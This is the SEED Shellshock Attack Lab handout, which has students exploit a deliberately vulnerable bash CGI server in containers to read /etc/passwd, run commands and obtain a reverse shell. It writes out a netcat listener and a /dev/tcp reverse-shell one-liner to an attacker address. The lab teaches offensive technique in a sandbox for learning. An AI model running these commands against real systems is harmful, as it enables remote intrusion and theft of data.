Shellshock Attack Lab

Copyright © 2006 - 2016 by Wenliang Du.
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. If you remix, transform, or build upon the material, this copyright notice must be left intact, or reproduced in a way that is reasonable to the medium in which the work is being re-published.

1 Overview

On September 24, 2014, a severe vulnerability in bash was identified. Nicknamed Shellshock, this vulnerability can exploit many systems and be launched either remotely or from a local machine. In this lab, students need to work on this attack, so they can understand the Shellshock vulnerability. The learning objective of this lab is for students to get a first-hand experience on this interesting attack, understand how it works, and think about the lessons that we can get out of this attack. The first version of this lab was developed on September 29, 2014, just five days after the attack was reported. It was assigned to the students in our Computer Security class on September 30, 2014. An important mission of the SEED project is to quickly turn real attacks into educational materials, so instructors can bring them into their classrooms in a timely manner and keep their students engaged with what happens in the real world. This lab covers the following topics:

- Shellshock
- Environment variables
- Function definition in bash
- Apache and CGI programs

Readings and videos. Detailed coverage of the Shellshock attack can be found in the following:

- Chapter 3 of the SEED Book, *Computer & Internet Security: A Hands-on Approach*, 2nd Edition, by Wenliang Du. See details at `https://www.handsonsecurity.net`.
- Section 3 of the SEED Lecture at Udemy, *Computer Security: A Hands-on Approach*, by Wenliang Du. See details at `https://www.handsonsecurity.net/video.html`.

Lab environment. This lab has been tested on our pre-built Ubuntu 20.04 VM, which can be downloaded from the SEED website. Since we use containers to set up the lab environment, this lab does not depend much on the SEED VM. You can do this lab using other VMs, physical machines, or VMs on the cloud.

2 Environment Setup

2.1 DNS Setting

In our setup, the web server container's IP address is `10.9.0.80`. The hostname of the server is called `www.seedlab-shellshock.com`. We need to map this name to the IP address. Please add the following to `/etc/hosts`. You need to use the root privilege to modify this file:

```
10.9.0.80        www.seedlab-shellshock.com
```

2.2 Container Setup and Commands

Please download the `Labsetup.zip` file to your VM from the lab's website, unzip it, enter the `Labsetup` folder, and use the `docker-compose.yml` file to set up the lab environment. Detailed explanation of the content in this file and all the involved `Dockerfile` can be found from the user manual, which is linked to the website of this lab. If this is the first time you set up a SEED lab environment using containers, it is very important that you read the user manual.

In the following, we list some of the commonly used commands related to Docker and Compose. Since we are going to use these commands very frequently, we have created aliases for them in the `.bashrc` file (in our provided SEEDUbuntu 20.04 VM).

```
$ docker-compose build  # Build the container image
$ docker-compose up     # Start the container
$ docker-compose down   # Shut down the container

// Aliases for the Compose commands above
$ dcbuild       # Alias for: docker-compose build
$ dcup          # Alias for: docker-compose up
$ dcdown        # Alias for: docker-compose down
```

All the containers will be running in the background. To run commands on a container, we often need to get a shell on that container. We first need to use the "`docker ps`" command to find out the ID of the container, and then use "`docker exec`" to start a shell on that container. We have created aliases for them in the `.bashrc` file.

```
$ dockps        // Alias for: docker ps --format "{{.ID}}  {{.Names}}"
$ docksh <id>   // Alias for: docker exec -it <id> /bin/bash

// The following example shows how to get a shell inside hostC
$ dockps
b1004832e275  hostA-10.9.0.5
0af4ea7a3e2e  hostB-10.9.0.6
9652715c8e0a  hostC-10.9.0.7

$ docksh 96
root@9652715c8e0a:/#

// Note: If a docker command requires a container ID, you do not need to
//       type the entire ID string. Typing the first few characters will
//       be sufficient, as long as they are unique among all the containers.
```

If you encounter problems when setting up the lab environment, please read the "Common Problems" section of the manual for potential solutions.

2.3 Web Server and CGI

In this lab, we will launch a Shellshock attack on the web server container. Many web servers enable CGI, which is a standard method used to generate dynamic content on web pages and for web applications. Many CGI programs are shell scripts, so before the actual CGI program runs, a shell program will be invoked first, and such an invocation is triggered by users from remote computers. If the shell program is a vulnerable bash program, we can exploit the Shellshock vulnerable to gain privileges on the server.

In our web server container, we have already set up a very simple CGI program (called `vul.cgi`). It simply prints out `"Hello World"` using a shell script. The CGI program is put inside Apache's default CGI folder `/usr/lib/cgi-bin`, and it must be executable.

Listing 1: `vul.cgi`

```
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
```

The CGI program uses `/bin/bash_shellshock` (the first line), instead of using `/bin/bash`. This line specifies what shell program should be invoked to run the script. We do need to use the vulnerable bash in this lab.

To access the CGI program from the Web, we can either use a browser by typing the following URL: `http://www.seedlab-shellshock.com/cgi-bin/vul.cgi`, or use the following command line program `curl` to do the same thing. Please make sure that the web server container is running.

```
$ curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
```

3 Lab Tasks

Detailed guidelines on the Shellshock attack can be found in the SEED book, so we will not repeat the guidelines in the lab description.

3.1 Task 1: Experimenting with Bash Function

The bash program in Ubuntu 20.04 has already been patched, so it is no longer vulnerable to the Shellshock attack. For the purpose of this lab, we have installed a vulnerable version of bash inside the container (inside `/bin`). The program can also be found in the `Labsetup` folder (inside `image_www`). Its name is `bash_shellshock`. We need to use this bash in our task. You can run this shell program either in the container or directly on your computer. The container manual is linked to the lab's website.

Please design an experiment to verify whether this bash is vulnerable to the Shellshock attack or not. Conduct the same experiment on the patched version `/bin/bash` and report your observations.

3.2 Task 2: Passing Data to Bash via Environment Variable

To exploit a Shellshock vulnerability in a bash-based CGI program, attackers need to pass their data to the vulnerable bash program, and the data need to be passed via an environment variable. In this task, we need to see how we can achieve this goal. We have provided another CGI program (`getenv.cgi`) on the server to help you identify what user data can get into the environment variables of a CGI program. This CGI program prints out all its environment variables.

Listing 2: `getenv.cgi`

```
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
```

```
strings /proc/$$/environ          ①
```

Task 2.A: Using brower. In the code above, Line ① prints out the contents of all the environment variables in the current process. Normally, you would see something like the following if you use a browser to access the CGI program. Please identify which environment variable(s)' values are set by the browser. You can turn on the HTTP Header Live extension on your browser to capture the HTTP request, and compare the request with the environment variables printed out by the server. Please include your investigation results in the lab report.

```
****** Environment Variables ******
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) ...
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9, ...
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
HTTP_ACCEPT_ENCODING=gzip, deflate
...
```

Task 2.A: Using `curl` If we want to set the environment variable data to arbitrary values, we will have to modify the behavior of the browser, that will be too complicated. Fortunately, there is a command-line tool called `curl`, which allows users to to control most of fields in an HTTP request. Here are some of the userful options: (1) the `-v` field can print out the header of the HTTP request; (2) the `-A`, `-e`, and `-H` options can set some fields in the header request, and you need to figure out what fileds are set by each of them. Please include your findings in the lab report. Here are the examples on how to use these fields:

```
$ curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

Based on this experiment, please describe what options of `curl` can be used to inject data into the environment variables of the target CGI program.

3.3 Task 3: Launching the Shellshock Attack

We can now launch the Shellshock attack. The attack does not depend on what is in the CGI program, as it targets the bash program, which is invoked before the actual CGI script is executed. Your job is to launch the attack through the URL `http://www.seedlab-shellshock.com/cgi-bin/vul.cgi`, so you can get the server to run an arbitrary command.

If your command has a plain-text output, and you want the output returned to you, your output needs to follow a protocol: it should start with `Content_type: text/plain`, followed by an empty line, and then you can place your plain-text output. For example, if you want the server to return a list of files in its folder, your command will look like the following:

```
echo Content_type: text/plain; echo; /bin/ls -l
```

In this task, please use three different approaches (i.e., three different HTTP header fields) to launch the Shellshock attack against the target CGI program. You need to achieve the following objectives. For each objective, you only need to use one approach, but in total, you need to use three different approaches.

- Task 3.A: Get the server to send back the content of the `/etc/passwd` file.

- Task 3.B: Get the server to tell you its process' user ID. You can use the `/bin/id` command to print out the ID information.
- Task 3.C: Get the server to create a file inside the `/tmp` folder. You need to get into the container to see whether the file is created or not, or use another Shellshock attack to list the `/tmp` folder.
- Task 3.D: Get the server to delete the file that you just created inside the `/tmp` folder.

Questions. Please answer the following questions:

- Question 1: Will you be able to steal the content of the shadow file `/etc/shadow` from the server? Why or why not? The information obtained in Task 3.B should give you a clue.
- Question 2: HTTP GET requests typically attach data in the URL, after the `?` mark. This could be another approach that we can use to launch the attack. In the following example, we attach some data in the URL, and we found that the data are used to set the following environment variable:

  ```
  $ curl "http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi?AAAAA"
  ...
  UERY_STRING=AAAAA
  ...
  ```

  Can we use this method to launch the Shellshock attack? Please conduct your experiment and derive your conclusions based on your experiment results.

3.4 Task 4: Getting a Reverse Shell via Shellshock Attack

The Shellshock vulnerability allows attacks to run arbitrary commands on the target machine. In real attacks, instead of hard-coding the command in the attack, attackers often choose to run a shell command, so they can use this shell to run other commands, for as long as the shell program is alive. To achieve this goal, attackers need to run a reverse shell.

Reverse shell is a shell process started on a machine, with its input and output being controlled by somebody from a remote computer. Basically, the shell runs on the victim's machine, but it takes input from the attacker machine and also prints its output on the attacker's machine. Reverse shell gives attackers a convenient way to run commands on a compromised machine. Detailed explanation of how to create a reverse shell can be found in the SEED book. We also summarize the explanation in Section 4. In this task, you need to demonstrate how you can get a reverse shell from the victim using the Shellshock attack.

3.5 Task 5: Using the Patched Bash

Now, let us use a bash program that has already been patched. The program `/bin/bash` is a patched version. Please replace the first line of the CGI programs with this program. Redo Task 3 and describe your observations.

4 Guidelines: Creating Reverse Shell

The key idea of reverse shell is to redirect its standard input, output, and error devices to a network connection, so the shell gets its input from the connection, and prints out its output also to the connection. At the other end of the connection is a program run by the attacker; the program simply displays whatever comes from the shell at the other end, and sends whatever is typed by the attacker to the shell, over the network connection.

A commonly used program by attackers is `netcat`, which, if running with the `"-l"` option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client, and sends to the client whatever is typed by the user running the server. In the following experiment, `netcat` (`nc` for short) is used to listen for a connection on port `9090` (let us focus only on the first line).

```
Attacker(10.0.2.6):$ nc -nv -l 9090  ← Waiting for reverse shell
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5):$      ← Reverse shell from 10.0.2.5.
Server(10.0.2.5):$ ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.5  netmask 255.255.255.0  broadcast 10.0.2.255
        ...
```

The above `nc` command will block, waiting for a connection. We now directly run the following bash program on the Server machine (`10.0.2.5`) to emulate what attackers would run after compromising the server via the Shellshock attack. This bash command will trigger a TCP connection to the attacker machine's port 9090, and a reverse shell will be created. We can see the shell prompt from the above result, indicating that the shell is running on the Server machine; we can type the `ifconfig` command to verify that the IP address is indeed `10.0.2.5`, the one belonging to the Server machine. Here is the bash command:

```
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
```

The above command represents the one that would normally be executed on a compromised server. It is quite complicated, and we give a detailed explanation in the following:

- `"/bin/bash -i"`: The option `i` stands for interactive, meaning that the shell must be interactive (must provide a shell prompt).
- `"> /dev/tcp/10.0.2.6/9090"`: This causes the output device (`stdout`) of the shell to be redirected to the TCP connection to `10.0.2.6`'s port `9090`. In `Unix` systems, `stdout`'s file descriptor is `1`.
- `"0<&1"`: File descriptor `0` represents the standard input device (`stdin`). This option tells the system to use the standard output device as the stardard input device. Since `stdout` is already redirected to the TCP connection, this option basically indicates that the shell program will get its input from the same TCP connection.
- `"2>&1"`: File descriptor `2` represents the standard error `stderr`. This causes the error output to be redirected to `stdout`, which is the TCP connection.

In summary, the command `"/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1"` starts a `bash` shell on the server machine, with its input coming from a TCP connection, and output going to the same TCP connection. In our experiment, when the `bash` shell command is executed on `10.0.2.5`, it connects back to the `netcat` process started on `10.0.2.6`. This is confirmed via the `"Connection from 10.0.2.5 ..."` message displayed by `netcat`.

5 Submission

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.